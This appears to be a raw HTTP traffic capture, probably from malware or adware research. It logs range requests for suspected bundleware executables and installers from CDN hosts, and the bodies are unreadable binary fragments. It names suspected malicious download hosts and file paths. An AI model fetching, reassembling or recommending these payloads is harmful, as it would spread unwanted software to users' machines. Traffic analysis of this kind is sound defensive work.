*.0..<.....`; b..9[ql.%lz|....I...\...1V.7....."..@e..[.....8<.$
.N...W*..v.....Y.@....[....W...:U...'.A...e..ML.`3.7.. n..V.....5..UJ.
Iq.T..../.3L.u......z*zv.o:...8.z..(....k.S(...S..N1J\8.........7.....
.O.:.Z.....5..bHt.]..4\.$.&H~....K..P..X?..d"...U.h...e...zp.17{.3.(~W
Y...i.F....f.W....Uzv%.x.w. .....N..._..5 ..X..%pA......0TW.lQk..\.).'
0..)..g..*.....Q............k~.a..P..?# ..c.F.g.SXn..o.y.....O.mQ....n
`[...:k.=....8.W.*]....w.g...JT].J..C..o,.M....\~.|..L...8.."Q8:p.]'-M
.......R-]b..mV.....k...............:..[..#.?....m.5$.a....d<.r....
...6Q..-e......t..q...Bh.`/p.w1.!5....@.?.z..5...#.....;.u..E...j-L$..
Z1...< .e].3..).p....H...c.}}.zN..q.<....e6....tu..e%.....H..h..
T..oGa........`z?..EYn.[[email protected][.'........F....*[email protected]..`.........y5#.
j..7Q...TnqW...#0....nF..91C.5.4....p*..&..5.......*p.Q.j.. .....y.a..
{......b.>e t.6F.x}|Q ..3..F.P9\..OB...Ck"..V....=.....V.....<.Q
...~.w.{..&...h....../..T/[.X....!.Y ..gJ.^..].>.mi..;......W.xF.0C
.$.....&..h.u <...:......r..W..D.S..X.B"....Sh.1( .L.N(~.t.\Jbu...0
.......~.d..y*.>:;...iR.'..#.u...s.,.ddA....m..([email protected]^dw.i.
.sZ...P](uf.}...ye....U..B...}....C...v......t..k[..2.V.ip.T-.-|.B....
J..i..A.'. .K..N.m..!....>..2.....$.\.3B.P..7[.v.[..].W..._...%..&l
t;5....dY...0t.].3..._`....0..:....'.~..X-...F.N.B...D..l#o.G...@[.K..
..K.....M..SwlQ....P....?...jaZ...´..?.2..##..F.R...pm.O..`zhz&l
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=1000000-1249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wvh6rmp-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 12 Feb 2015 05:32:42 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Ps0L58ZMy3uBldgJ2z/8SF9KcfJ/43vMEVcx4ZT3AwEV5eHS6lg47UMUpjNzvT7U1ktAXPOxIJ4=
x-amz-request-id: 217BDE2596E25C59
Last-Modified: Tue, 10 Feb 2015 18:19:58 GMT
ETag: "6152e04b0938a99cd1f7bd825d2eb689"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1000000-1249999/4701796
.E.....t..{U........s..u..=..SS.C=..d.NR.\fVU.....dv*=5!..B7.'....^...
QY.j..#.&.p..z..).j.:...4.AUs..%.g....y(..Q...r^s._.,^..y8Y.jg...m..1.
..mgQ......Da3...?...1`...b.Kv5.(....hB.v.....=0F..-V....JQ....6rGK...
3.....{...v.F.zwF........w.2..s..A....O.f....,.d..H...|..z....y...B.j.
..]KL.?..".......4.N.U~\... ..<4..8]...5w......b$. .r.....O.....P.z
...c.....*.......a2.,...j}N.[......Q.Y..ba......\......gv..\| tT .....
"..t.9-*;....-.%C.r.....5.@@...^..!....U.=ri..Y.........24.U...g.....B
..5..L.]....27.....].P?.......c..o$....d6..!AvV. .6.b........!..0".,\m
....pd...M.ad.<...5.....Nl...ya..F......{..WU.D..wr.u.0zC~y.O&...@.
.DK.SI.:.".U.. .....s.A...d...i...@>K*s....e.=$...=;,,..10.0...\a..
..:..L?....&...V.B...F..D...l.....'a)hI)d......M.-,tF9......B.a/.j.R..
.........{........A3.....s.3.x.......J.'...=6...M..>k.(j....'*.=.p.
..r.E..X /.XR..RF.....D.6..`.Bg.....V.".r.Xg#.\...^..........F...@\..&
lt;.......D..e8?..8.b<.....y..q..gEP..6T.8.F [email protected]..
.=..#..[..$.Mta...sH....n....-..B(.E(4c....i..IQM/..]#'.P.Q.......H&.n
P..`.Z.Y.N....&....2..-2 .Z.W.H...%...a...y..`...B.1..K..P/.zG.ae7....
.0_`........E...A.....1&.}......T|..T\s....-N......:Q ... :Q..^u....t.
..Oo..V.O..0..$[.F_$.. ...U.z.$Z..K.B./....sj.2?..8gy.)..UE.H.....p.L.
..w.dp......`"Nh ....*...}...p.6g$.......G..@}.wS.gT>Y.?w...d...i..
.".....".#.4R#IxB...m.?-.W$.'.`...y..4.......... ..l7.j.:..:,...`.x_..
6..(<..g..WZ.......h."...X.w..R.Q;x.....U......&u9...6M..g./....{.%
m..!F. ..#.J..6./.]n...O........1....a6 ..S....CY,Y.xm.~o...#,h*.B
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=1750000-1999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wvh6rmp-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 12 Feb 2015 05:32:42 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Ps0L58ZMy3uBldgJ2z/8SF9KcfJ/43vMEVcx4ZT3AwEV5eHS6lg47UMUpjNzvT7U1ktAXPOxIJ4=
x-amz-request-id: 217BDE2596E25C59
Last-Modified: Tue, 10 Feb 2015 18:19:58 GMT
ETag: "6152e04b0938a99cd1f7bd825d2eb689"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1750000-1999999/4701796
....np,8..G..[`..."<...Q.-......j~*.L..........Q..~.z....rZU.......
f..1w..?..........X)kw..X..../..?.)t.....}$J".z....P...(.yK;...Wb.,!/`
D.;V.*..m..">.R.....^...P..r.<.......U.K.m..d.q....3.. O....w`f.
....."..-...C....G..%a...w.C...!.............L9.....*7.....d.0...P..[.
...`.&..:e....G...JE...k$.1......sR...J4.c........G8.MQ..to."= ..Y...1
sTQ7S.(#.C....=j....`..6..`..|.4q...&.b....d....(m.....z...`.r..*2.Hv.
.....V...._.....*.S.Q.......5.R..._@/.)......... .. .......<....t@.
-.$....Q^W.........$..e.;.f.S`. .....T..K.4.u....../..*.kU#x...Ce\W..*
..m..{3...R.hj}.B. ...._.yG.=..............'.....:..X..O...,.....Q....
z...........[ ..'NE.X....S...M..*.M..qX..H...dG[J.:.8.U...n........3k&
gt;.X.....................3.....*......4^.L5'X.h..i......<...P.....
...^..rR.....Dn5..a3...d:>.....N...q.%.8..j...5V...f.sa.....'X..E..
..a..>...t.Jr...1(..!....N.a..T{5.p..........7..E.....2..v.Z....}.&
lt;.OA.".2Hl1....Dx...wX.w..............X.pQ.M8}K.e* Y...aJ.......=...
Y%e..d..Lu..\.\....!..}.........z.q...Vo.^Y..C8...3......N..6s..{.....
...S....P...Q.TZ..k.............4.^}b@..}.2.y....a.o..(....y.U..8.....
.JL0.N"....a...&.r.i.4L.5!..W.U......M...I7W.....,En.....{....k!.C....
...Hr..&-...h...4........Q.r!Cr..".p03..X[.GE...Cn.F... .P...5.}...R.:
..A.-U..H..`:?Z#..'~..m...p.....f.p.A.YO.L....n..0.<FKu2;...E.e....
..6......~'..Q....J.g{.j`....].%S........][email protected].. ..W@. F;.
 ..../.....M.mn3....;.B..'.r.U.....u)95....../e">lx...(m,3..Q%.....
.J|..k.X....J...G9..qM..~..S3.d7..'uQ..c$.W...`m.F ..^!{...z{...G.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wvh6rmp-su78sj1t.netdna-ssl.com
Connection: Keep-Alive



..p.....U.?.#...7%...g.A.N['.nd..}....8)~...D...Z.b..)..K...{........k
........I..wr..?.&.?...{z.....bj.[...=..b.3...s..~...B..3......#(..}2.
...M$.Z.>...Y.v....1"{.Ti)...4...m,.a...`.Cw.J.. ............n..M..
D.!..l..q..{...x..R.0|........W`...'7.r..V.d...N..B..~.E..x(sR..D.oo..
..5..VBN..-En.d.f*4..e....y.......>[email protected]....
..Q.D.-i@'...sk...4.....i.#..(V........@....[[email protected]...?t..Bv..Sf\ ...
..5.......tU/.........~...../`<7..@kY\..5{..,..~......I.oL.=.~.HF.:
.....xb.:...pQ0...l..=....[.L^.I..:.w.p.....M.e!............Z.)x..[!.k
.....W......yrT-x.D..{..dun7....N.S8..R.B.Q...?Z....z3 D6..=Wy.z.@T...
..5yQ&...M..P..Y.....(..AN.nw %..3..y7.....B6......."x.6......<..5.
...7.....Z..]...67..P...Sa.\...A..@'iZv C................_2.U...}6.V&l
t;.1,...N.e.q].5.tB....K.....E]/...f...o......Ha.!9.p.... 4...........
...$t.tY..&...u$....Y`...w...!..}.......b.....w.2G.........0.2....D.9.
..2..i.h.....(....)...h..{....v..u4...9C.u....d....(.K..q.`U.C7U.!..D.
s..:....2....8.a.Zk2..t....)Y....^.&..[.W..)S..C.......F.. ONF..Vq....
@...;.....d..D.kn.U.........B=.E=}e^.........a.c.....Q1C..............
..~'..V..J.4....6Z..?*..:....B..].."_`.n .Wf...TX.."...."..O Kjw...#V.
......M$......E6;.pl.]m.x.*g.PX...2g..\.8.>.^.,.P...Yb.EI*....=.m.;
[email protected]....:%..........^T`..]........bL...X^.&o:6..x.
.....7.. ..~.H..v.1O...EN..........y .$!m.;e..........9y._.w..........
|..gb..FE.6..L4..r..8#.....s.D|BA...=..d.%}..C..b|7..;.(.....b.....^. 
.(`.._..'}.jD...~....)....)....v..Y.. .t(...Sj..5.}v..*......}I..-
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=3500000-3749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wvh6rmp-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 12 Feb 2015 05:32:43 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Ps0L58ZMy3uBldgJ2z/8SF9KcfJ/43vMEVcx4ZT3AwEV5eHS6lg47UMUpjNzvT7U1ktAXPOxIJ4=
x-amz-request-id: 217BDE2596E25C59
Last-Modified: Tue, 10 Feb 2015 18:19:58 GMT
ETag: "6152e04b0938a99cd1f7bd825d2eb689"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3500000-3749999/4701796
.$.gR..#j:3Yk..........4.E;.W....._.8.JC=........"M.....4|.....tQ.Dh&g
t;.qy....~...E&.l.:/.5..t....mE=.x.{x[...x8..I.*I_%.G..z9..f.>.;.B.
..F.:)....D..t.....h.&Z..U......c.."......w.....-vIb.4X.l.~.pg ..Z.H..
.....^S.....r....8.7c..TGy.(J~..E5..1..MS0<.Tap......]8u..m.}.e.7..
.*3p.Q....c.NCF.....!.R...;&.a...#.H..%j..y...ou.,w...M..K6E..~./..2.E
rH....][email protected](.. (...r..].X.g,r...1..t...-....6...`.e.G..AI.yg.W.
.\..<[email protected]..../.%....c5....n........$...mY}HU.g..;7.bB...b.#..
...<8.L..../c.E,L.......=."QL.'....r.p......O.{B.%d....=m.e.."U(...
..Q5....0{.|[email protected].#...`V.M.|.....!..[$..Q.AFu.....-....
Hb.......j.TI.........=.).r. ..........r.....378K...z..."Y..\V..; ....
.&.b.H....x..1Vy.-.p..W%...XB.\.D.Ka.[oP.D...U.a....s... ..w.....Di.&l
t;.v![jP..i..8.#RfZ.......]..n.!....c..S....O..k~xt....^R....N...xP9N.
...K...f.e..'. ..w.QR....!...>.y..k.2...@*XX..`.Wm.zM..n.%.5....f).
l"y[..F...i....m.S...^....t.n...gZ..zx.*.3.......RE........b.:.5.g.Z.X
....k..v.6..)..q.^ld*._2.J4.....K..($)..a6d..SW$....Q..I_l.F.....0...O
.....0kX..q...%D(.|...i.........7..Pq.5.K.........f..ec.o....b}.!nP.*.
.g8.w5ai....R.v.P......?.(..EG}..........K......_\...s..7<c..E..XV~
....Y.#.,..5hR.......).E......y...E...od.d..<t.......(. .....x..Tw.
U.f.)l....D.ic.<.b.ZN..v......SV..z ..Q...~..O.U....a..3.5.].M..K.a
...g.7.3...A<..9.D...9.,G...w.....Y.... ....i...g.].......X...?....
.^I.{I....z....j../..av...........X.S"^.\ye".A...J.d..EI)]WPK.....Z...
E...\..J.....<P..lY..5'....b..o..k.g.!E..P.......6L.uo.]...Sv%.
<<< skipped >>>


GET /gv/en/easyburner.msi HTTP/1.1
Referer: hXXp://app.easy-burner.com/gv/en/easyburner.msi
User-Agent: dwplayer
Host: app.easy-burner.com
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: install_cookie=14782,,; softdown=1423719126364044


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:55 GMT
Content-Type: application/octet-stream
Content-Length: 6989824
Last-Modified: Fri, 08 Mar 2013 12:25:19 GMT
Connection: keep-alive
Content-Disposition: filename=easyburner.msi
Accept-Ranges: bytes
........................>...................k...............8......
......................................................................
......................................................................
......................................................................
............................................................ ...!...!.
.."..."...#...#...$...$...%...%...&...&...'...'...(...(...)...)...*...
*... ... ...,...,...-...-.........../.../...0...0...1...1...2...2...3.
..3...4...4...5..................;....................................
......................................................................
......... ...!..."...#...$...%...&...'...(...)...*... ...,...-......./
...0...1...2...3...4...5...6...7...>...M...:...<.......=.......?
...@...A...C.......D...E...F...G...H...I...J...N...L.......K...O...P..
.Q...Z...S...T...U...V...W...X...Y...K...[...\...]...^..._...`...a...b
...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s..
.t...u...v...w...x...y...z...{...|...}...~...........R.o.o.t. .E.n.t.r
.y....................................................................
........F..............c~5...9....o........S.u.m.m.a.r.y.I.n.f.o.r.m.a
.t.i.o.n...........................(..................................
.....................t.......@H.?.C.A.E.D1H...........................
...............................a......................................
.....R...h.......@H.?dA/B6H...........................................
...............................................................~..
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=249864-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 35694
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 249864-285557/285558
Age: 182
X-Cache: Hit from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: I9iZYU12UnYXRYikXreFmdKAInz31tGATX6bFdP8p0t3DIV-XxJKkQ==
..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u.....6....$..}2..6.....h.U#.......j..=.{.4..}....@)..K...%...z^cxR."
.b....j.....T....U?is.3..L.D-v..{P....P....\...*..........NI.n.y...M..
..@...?d`N..k^...}....o5U.(..:'..|.c..wQ....)..T..y..uz.8......H...A..
..'}5....W.....u...@ ...s)........x..d.X.zz.p.....(.......c1..g.......
S..Q....Ae..&P;7./...A...%)'....~.q.T.3..j2..1..S.C..Dq.`...c.yZOpP..1
...z...D.3.f.__.F:.H......I..@.~...t..c.p.W.U."...1].>9..d:...i.6..
.....G{.mh..'...d..|{....:<.TZ..2I...._yI.fpG....S.??,[email protected]=r
.....{z.Q...Q.~.......t......1.]..Sf(.QD...6.%...5\.&HW......h.n*.j.cn
k..]....fz....W@... ..w...}.8...h.`n...........9>o.0.....pa.....U..
\e..%J.....`....OF.{.P &.....v..bk..n.c.M&..(.....8e.YZMw..R.M]Qa....o
.p.$g.D._.C...5........F.Pu{..n6...[.....T.&..N^[email protected].`2.
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=201020-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 120612
Connection: keep-alive
Date: Sun, 08 Feb 2015 05:31:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 201020-321631/321632
Age: 92
X-Cache: Hit from cloudfront
Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: NWUE3kbtIQ7rfJIVw_bBmkgrhZWSFHB_FbfFjRAiLodje4Uz_wei-w==
........................8...V...j.....................................
..........(...P...b...p.......p.......h...............................
................................H.................C...C...C...C...C.o.
C.{[email protected].`.C.........u.A...A.m.B...B.[.B...A..bB...........B.w.A.
...................T........<...8}[email protected]...`.....y.......
..K..t}C.$vA...A...A..vA..vA.gvA.generic..}C.$vA..vA..vA..vA..vA.gvA..
[email protected].....~C.$vA..vA..vA..vA..vA.gvA.system..T~C.$vA..vA
..vA..vA..vA.gvA.iostream stream error.....C..#A.*....~C..yA.C.....C.0
rA...A..~C..{[email protected]..{A...A.H.C.0rA...A.............bad allocation.
...C..{A...A.regular expression error.....$C.DsC.DsC..$C..$C.$$C.$$C.,
$C.4$C.<$C.D$C.L$C.T$C.\$C.....r...a...r.b.....w.b.....a.b.....r. .
....w. .....a. .....r. .b...w. .b...a. .b...................!..."...2.
..*...............#...3... .........C...A...A.Unknown exception.....C.
[email protected].................
......................csm................. ...........Visual C   CRT: 
Not enough memory to complete call to strerror..LC_TIME.LC_NUMERIC..LC
_MONETARY.LC_CTYPE....LC_COLLATE..LC_ALL...%C......{B..%C...C..{B..%C.
..C.R.A..%C...C.2xB..%C...C.DuB..%C...C.^tB...........................
..... !"#$%&'()* ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ
[\]^_`abcdefghijklmnopqrstuvwxyz{|}~.._.,.;...=...=;..................
......................................................................
..................................................................
<<< skipped >>>


GET /yta33_sh_full.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-249999/7592848
Age: 49297
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: XMigJmpKfFC0hzJu809G9wqWxjgfplMALhOHcD26MzBrXMcAA5nmyA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......5..Yq...q...
q...q...~.......t.......p.......p.......p...Richq...........PE..L.....
.7......................s.............. ....@.........................
..t.....2-t..............................!..5...D ..<[email protected]....
.......s..............................................................
 ..D............................text............................... ..
`.rdata....... ......................@[email protected]...............
[email protected][email protected].................@..@...................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....x...SV.....W......
V3.PS..4 @.......VP......P..0 @..=, @.SSj.Sj.......h....P......E...{..
.......PV..( @[email protected]..$ @[email protected]
.../...SSSj.S.u.... @.SSSj.P.E.... @....E......G.....MZ..t...MZ..u..x.
.t..E.@.}.....|..M.SQh....P.u.... @.W... @..u..=. @....u...... @.j..E.
Y3..}.V.........E.D...P......P..0 @..u.......".......F...:.t..."t.@...
8"[email protected] [email protected]..< @.....E.P.E.PSSSSS...
...SP......P... @...t.j..u.... @.......P..  @._^3.[....:.t... t..H
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 500000-749999/7592848
Age: 49297
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: MTKBldb6aA_BO1vHTuuZXP1A-gWxK_DuzZpW8Xyvvtw5qkgij-l9ag==
...?.)..=.0...q|. ...N....hi.k..HfI.8E...`.....Qqm..7.g..O...C.g......
.k5..".h7....`M&0?*.'X..D.KSPO5hY..h......<....>...O...<..7..
............}..p ....8(.5..$..|....1...Fny=.....9W.9..{A....y.: .. ..^
v.^Wsl!".R..'.r.@.<...ioM.............wDlk .3..L^\.z\7@.;x..6.]j...
[....-...O.J..q.kt..Af....ed...[F.vT.v|<.&...*].(D.R..n....Fe..M...
.(.X.{$.4..h..%.."Z..C..%.....R.b{.|.[......V..!W.x...~Nj$.U(.5.)....A
84B.5..qr=....3.......'.D.....;...T/...........[Fx.....:..-y{......94.
IH..M......).P...v... .....#yj.`...-....`..h...=.Y...v..V..;......i...
&>...V...'c2.7...4....t..../.f..l.%~G.a .x...(......T.........^A,.n
a...P>...?. .&..^..X.K5-.0<.J#.........w....An.j...m..../.>^k
..I...Y..?.'.k..>5......nG....D.l!..c&......._..Jb.C.h ..m.O....W^.
.@,..?..o.}..P.K@T....)&.G....a.n.8d../[email protected]
.vetE....L$Y...H.....t.....[..}.`..m..L....`.........\v.^\..... ..2.U.
....Qu].vJ.....Pb..ZP.du.>.k.....!.S....7..:..&V.Ya....~..^.W......
..n.n.S.-JeQ..r.F)/..W.O|...'b8.|.l.....Fw.f..y......jB../.iVg........
#... ..D.....[.....x..,.:).]b...K.h%.\.}....| ..P......1: K..?..ux...P
...7w.5-..w.U.I.e{.fh]...........M....<..&...3..........].F..aY.Rj.
......D.3.Q..Y..../?.5......j..........L.P,...7.....]........UUP8X..V7
...=....-.......`;^.,P...b.U.....K.l....yV..0..z.....[Q..!..I......w.B
.nNB0...>.._Q...]V...sm........8.9..3.Kw.B Gl&.....g...0Au...P!...t
..... a.X..v....R...;..W.......6..e..Cu.,%...u....[..<i:....#..{[..
8...q..&._...\.r.4.Uwg5.K|..jaf1P..21.8..R.:[..]...p.bs.8..J6..LJ.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=1000000-1249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 1000000-1249999/7592848
Age: 49298
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: mF2T1AQ2MvtRI7pgvW-gYKRND5W75vpZAlwnL40IOhy9IApvzDu6DA==
..Hi2J...28.;..9.`...........r|H.g...c.)...7\o.5....y.K......V..A.?.g.
.k:.3u.#A.>.W.....(..-.ap....Y[ ..k[..e4.]s..=..)X1.'._b.....[..b.g
F...=W-H..h.z.=.:...Mn.............-F..>...X.cI.....o....8f...9..ql
.V.pH.1...F.A......7...M.An........R.@]..4.!...1.d..b^m..\..}.p...H(..
...M....op...u.........httn.D4...9..>.anA..-..9..x.!.0.`.....3..\b.
;[email protected]._..}..........l....d (...FK...TQ#`-.m....
.y.8..H...H...8.L...k~Ry@e 7..fn..S$8.Q;.................b..o....|..:.
t..!2(../............4.....C.<j.*...E6Z...:W'.....8.x.._ah=x).Sz.N.
;....,./...F&..u.>.O..*r.........O.-..zsD.LAr...#.jr......w(..Q=.?P
`.'.I.z\...0..h...<#E....Q/...gY....k.z.=..C.....].....9..4O....5).
D_...MI..!...m..#.......]...I...d\5.<.0..9.F...0.j..C..)......D.=*!
....'jw.....R..m..%........Ppf.ti.Lbh.w<..........U ...@...|..W{...
...g.>-$i..:....$.....H.....5y~`[email protected]!p..HA....A..1
h..V...V=e..g..@.....%../.N>...sD.\P.....@. .....J..,.3......4..'[R
.....3....)B........E.d3..K..Gp.f.H..W!.....O..dF...`.X.KQ....KC....5.
...Pj....G........;a;..N..O.#~5Z.'........O?.x.x$.......W..0.(...o(lQ.
.n.(.......(.=.n.Y........Q.4z>m...J-\. ...D6)......N&8.;......oU..
..Pnl./,>2....(f..B.....8....h...cTv......8....( a....z...=.H...<
;._.0-8...='....Yr!.).].#.P..wL'.......4..Q-..M..C<..'.. ........^.
.4m...].D3..PV........U.A7.uT.t...W..:...eZ#Yn;w#DH..{.A'={..........m
.M8N.<.".%s.w .....8(=.*m..=..U.x!q.".6.0 .z_.../..6.j..V.f.....,..
A...V..U...8.qw.L..r..?...!y... ..t..5. 3>. ....V.....U.*)..1.g
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 1500000-1749999/7592848
Age: 49298
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: HIiOgp2UV25eskw7LEXqfpsa1bjrz71_Ql-JIdVj6UK_vmCBbtZcRg==
............Bi.)... ..2.E..*.6E.B...q..|5.[A>#...5^K.1.A..#@...c..0
T!.=.....v.,....<_.....5W.....r...r...I.U.9?..@[email protected]!.-CJ.Xp
../a.l#w.i.Zb'...1.......m.B.L....T.s........(l..T.>'^.6..{.m..RB.o
..h.-.W..e(fTmU.F.N5..zVxx.._v..?m......$..c9.......Y.......)-.9.O8...
.zIB...K..C|.(.......Pi.......:.X........C....2..I.l.....Q.uq...0.A...
G.n.r..@\(......X..F../w.:l-...B..>.Q)U|L5A.p8>..[P.M..z.X.y....
Mxt>j..5...m.y.P..,..=yTN:y.~.,<:.o..E..iw..%[.EN........A......
N...0HF|...`[email protected].".`.......RT..<q..P.L.H..HJ.8.m^*
.QS."!7r.Q......N..n<.........l^(F..*.Ya.U....w...[C..7%Xs.Z...>
.2vA...r".......ov...u;Q.Z}T=..d......a...r.....x.Y..`....g...nj..z...
...5=....._.............;.w.=c.,..B.....R.aJ6y<A.Y...(.....Y<;^.
...j...N._;cU..B....<\....&Z;../BI.F.gB..~fy..-.b"U..n.....r.v.....
.#.hY.<.c..8.4.....Of.8:.S.>..[.....C.A...-...j.._]B.R.U...p..-.
.M@_.s..v.\xh...eC....:.T]..g...-....;0....u.LrU......U..;.T.R.c.? E..
.C......,.O.l..sk}.$:......t.ly)-y./....,q...j..>...9..`.q....Ip...
2.#I:...K..G.3>Z....^.n.0...H...o.Hr.H.CkcE...o.H..b.~3....}B. ....
b.(.)..Rr....cM|W....[hA*[email protected]$....Ek.o.FxjJg...[.....C|3X
....vO.nP.'.p.].]d...=.m.........t..V.#.....L.Z......M.S.4...X...X...P
.7.....F..QG....2..oG...^[email protected]~v...:1.mQ.g.../
..q..c......>.n.{w..0.J.....4...ND.J..|......&....un?.iP.%.u..U.q.J
--S.....&-|..W.........7..(f...4..T.1h.v.>.......$.oR...N.1M..?..=p
..- ....&)S...>I..l....V.).CM.?.....c.}...8..':.\e.7W1.U>.m.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


